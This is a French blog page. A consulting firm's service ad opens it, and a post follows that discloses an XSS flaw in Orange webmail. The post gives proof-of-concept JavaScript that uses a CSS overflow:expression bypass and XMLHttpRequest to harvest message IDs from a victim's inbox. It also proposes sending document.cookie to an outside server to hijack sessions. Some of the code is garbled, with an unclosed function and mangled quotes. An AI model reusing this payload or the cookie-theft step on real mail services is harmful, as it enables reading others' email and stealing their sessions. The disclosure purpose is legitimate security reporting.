x

Bonjour,

Je suis gérant d'une société de services et de conseil située en Pays de la Loire et spécialisée en développement sur mesure sous les outils PCSOFT WinDev, WebDev et WinDev Mobile. 

Nous intervenons principalement sur le territoire français, mais nos missions nous amènent également vers d'autres contrées (USA, Suisse, Belgique, Nouvelle Calédonie ...) 

Nous proposons les services suivants:

- Développement sur mesure au forfait
- Délégation de collaborateurs sur site (régie).
- Reprise complète de vos applications, sites web et Mobiles (TMA)
- Renfort d'équipe informatique.

Si vous souhaitez discuter d'un projet ou tout simplement faire connaissance, n'hésitez pas à me contacter au 06.86.67.72.32 ou contact[@]ennovsys.fr

A très bientôt,

Vincent ROY

Faille XSS chez Orange

Bonjour à tous,

Lorsque vous ouvrez un mail dans la boite Orange, on peu remarquer que si le mail contient les mots javascript ou script, ils sont automatiquement filtrés et réécris en java-script et noscript, ceci évidemment pour des raisons de sécurité. On ne peut donc pas en théorie écrire du javascript dans les mails pour qu’il soit exécuté.
Par contre, le code javascript suivant overflow:expression permet d’évaluer le code passé en paramètre.
Par exemple le code:
<DIV style= »overflow:expression((1>2)?document.write(’1′):document.write(’2′)) »;>
affichera le nombre 2. Cette expression n’est pas nouvelle et cette faille est (était)présente également sur d’autres sites.

Voici un Proof Of Concept sur comment récupérer les ID des messages de la 1ère page d’une boite mail Orange:

On commence donc par récupérer la source de la page des Objets des mails (La page quand on clique sur Mail)

Pour ca on utilise XMLHttpRequest:
var xmlhttp = getXmlHttp()

Puis un GET sur la boite mail:
xmlhttp.open (‘GET’,'http://’+
document.domain+’/webmail/fr_FR/inbox.html’,false)
xmlhttp.send(null)
var sourcehtml = xmlhttp.responseText

Si on regarde la source, chaque mail peut être lu par la fonction:
javascript:Read(‘read.html’,’239′)

Il suffit alors de récupérer chaque occurence de javascript:Read(‘read.html’ pour récupérer tous les ID des messages:

function getIDMSG (position,sourceHTML)
{
       var idmsg
       var ipos  = sourceHTML.indexOf (‘)’,position+24)
       idmsg     = sourceHTML.substring (position+24,ipos-1)
       return idmsg
var ipos = sourcehtml.indexOf(‘cript:Read(\\’read.html\\’,\\\ » ,1)
var ipos2
var idmsg
var monTab = new Array()
var i = 0
while (ipos>0)
{
      ipos2              = ipos
      idmsg             = getIDMSG(ipos,sourcehtml)
      var bTrouve = RechVal (monTab,idmsg)
      if (bTrouve==false)
      {
            monTab[i] = idmsg
            i = i+1
      } 
     ipos = sourcehtml.indexOf(‘cript:Read(\\’read.html\\’,\\\ »,ipos2+1)
}

NB: La fonction RechVal retourne vrai si l’ID du message est déjà présent dans le tableau.
Le tableau monTab contient donc tous les ID des mails.Comme une image vaut un long discours:

Voila pour le proof Of Concept.

Nous pourrions encore aller plus loin dans le raisonnement et ainsi lire les mails grâce aux ID des mails récupérés. C’est à peu près le même principe que pour le ID msg.
N’oublions pas non plus les cookies. Il suffirait de faire un document.cookie et d’envoyer la valeur sur un serveur quelconque pour ainsi voler la session de l’utilisateur.
Par contre, pour récupérer les contacts, c’est une autre paire de manche vu qu’il faudrait faire des requêtes sur un un autre domaine (contacts.orange.fr). (Cross Domain)

Digg Google Bookmarks reddit Mixx StumbleUpon Technorati Yahoo! Buzz DesignFloat Delicious BlinkList Furl

No Responses to “Faille XSS chez Orange”

Leave a Reply

Name:
Email:
Website:
Comment:
XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>